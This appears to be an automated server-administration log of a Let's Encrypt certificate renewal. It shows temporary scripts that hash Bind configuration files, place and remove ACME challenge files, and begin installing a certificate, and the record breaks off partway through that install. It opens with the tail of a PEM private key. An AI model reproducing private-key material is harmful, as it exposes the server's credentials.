UKPN0s8S3PhEffx0MJ/syqAbYBtsBIzwXlm3XS+zBijJrWkKbGmZ7BX7HORHt1Am
v7iKgbNVSfKoB7SlJ4yiHAlV
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-03-13 18:26:19: Establishing a connection
2026-03-13 18:26:26: Establishing a connection
2026-03-13 18:26:26: 

PUT: /tmp/pkp750261

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-13 18:26:27: 

runuser -l bind -s /bin/bash -c '/tmp/pkp750261; rm /tmp/pkp750261'

2026-03-13 18:26:27: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-13 18:26:34: Establishing a connection
2026-03-13 18:26:35: Establishing a connection
2026-03-13 18:26:36: 

PUT: /tmp/pkp457473

#!/bin/bash
if [ -d "/var/www/n-e-v_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-13 18:26:37: 

chmod 755 /tmp/pkp457473; /tmp/pkp457473; rm /tmp/pkp457473

2026-03-13 18:26:38: 


1


2026-03-13 18:26:39: Establishing a connection
2026-03-13 18:26:40: 

PUT: /tmp/pkp951702

#!/bin/bash
mkdir -p "/var/www/n-e-v_www/.well-known/acme-challenge/"
cd "/var/www/n-e-v_www/.well-known/acme-challenge/"
cat > aw4lavZMhPI_-hs-EusCtqlfYkQeXYuXoDd8leeZ31I <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
aw4lavZMhPI_-hs-EusCtqlfYkQeXYuXoDd8leeZ31I.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 aw4lavZMhPI_-hs-EusCtqlfYkQeXYuXoDd8leeZ31I
cat > yymtzectnvY_CIPbHtum0HspB8ReJ1HyiuD6VclNVcY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
yymtzectnvY_CIPbHtum0HspB8ReJ1HyiuD6VclNVcY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 yymtzectnvY_CIPbHtum0HspB8ReJ1HyiuD6VclNVcY


2026-03-13 18:26:41: 

chmod 755 /tmp/pkp951702; /tmp/pkp951702; rm /tmp/pkp951702

2026-03-13 18:26:41: 




2026-03-13 18:26:47: Establishing a connection
2026-03-13 18:26:49: 

PUT: /tmp/pkp675989

#!/bin/bash
mkdir -p "/var/www/n-e-v_www/.well-known/acme-challenge/"
cd "/var/www/n-e-v_www/.well-known/acme-challenge/"
rm aw4lavZMhPI_-hs-EusCtqlfYkQeXYuXoDd8leeZ31I
rm yymtzectnvY_CIPbHtum0HspB8ReJ1HyiuD6VclNVcY


2026-03-13 18:26:50: 

chmod 755 /tmp/pkp675989; /tmp/pkp675989; rm /tmp/pkp675989

2026-03-13 18:26:50: 




2026-03-13 18:26:50: Establishing a connection
2026-03-13 18:26:51: 

PUT: /tmp/pkp661037

#!/bin/bash
temp_file=$(mktemp)
TARGET=27a452e75854403499effc104b58be29.crt

cat > $temp_file <<'endmsg'
88:87:27:c6:fa:f0:2a:4f:1a:9a:7e:f9:f5:78:04:f0

-----BEGIN CERTIFICATE-----
MIIE9TCCA92gAwIBAgISBW6oERsk0eiAGV7BnVqkAe6dMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzEzMTcyODE3WhcNMjYwNjExMTcyODE2WjAVMRMwEQYDVQQD
EwpuLWUtdi5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4iwh
j/qobegaAGfmG7u6TRND4Uhc8nbcAn6QXS9N4nU8JMUowU/gs0XFELRiU5UPljLn
osp8PS2Qs6mcCS6ua+AfWCLiz4v9b0fksjVwJGa3gStBD3YUKcVMGZRdBjN1V/5y
v27u/Mz1ca34VM0ZT/bZBzenz6w/BsImA/OEjtAVbzP6kFOFLw6jq2ea55BdhHBB
B46//U9+WCBLG/qYCddys+WI1ksdSSWX3R6+Fc8TBLdBf4r21pZGcLpSIbv0AnJi
rAMKehMN70BbzfI/9O+10bym8+tTOQxufKH2nQb4VdSJqC2EqjYnNS0VIKUI2nkz
A+v269Jzlio+wEdOvQIDAQABo4ICHzCCAhswDgYDVR0PAQH/BAQDAgWgMBMGA1Ud
JQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFBv+9mTH0gjg
DTmPDTijCEwX2PqeMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzpDNHSMDMG
CCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxlbmNyLm9y
Zy8wJQYDVR0RBB4wHIIKbi1lLXYuaW5mb4IOd3d3Lm4tZS12LmluZm8wEwYDVR0g
BAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxl
bmNyLm9yZy8zMC5jcmwwggEDBgorBgEEAdZ5AgQCBIH0BIHxAO8AdgBkEcRspBLs
p4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZzoc3gUAAAEAwBHMEUCIQCA4f8h
NnI9a8YWwVCrtrexntIYQm4f4XUCVwEctokBNwIgKrpBeEG+5R1iYWZprlF+vZLy
dOe5/Qx2Ru5mLG68XoIAdQAWgy2r8KklDw/wOqVF/8i/yCPQh0v2BCkn+OcfMxP1
+gAAAZzoc3hIAAAEAwBGMEQCIB59wIL3H4rfmDm9XjBehhyqpgcfzQxyndcMQOJq
uVf5AiAi3leSwE2Fbs3ov3OmBpWZigE4CuKhJLFlFZcLByqZ7jANBgkqhkiG9w0B
AQsFAAOCAQEAOt7unWdkxRRVXgpXIwMAY3P0TQLjuFOE71hqDt4I7FHYNomW0B/Y
CCe/8dCzDPuocdumxI954wxFaq/+HxlC4Ejp3Ksos9viVIxQfk3/exyN6TWDgQsu
opPwnQy/Eo1HGMDcs+XJOBgKHWnHFCv+Uqt43QpCKcWGdZ3wnJ4odUez/DnVmli0
QS0Gf/gtua2UODjyI1Co+pXP2tRycHlbRtL0eef3Zr9wDJ9ysPchGxZqX2FldGQN
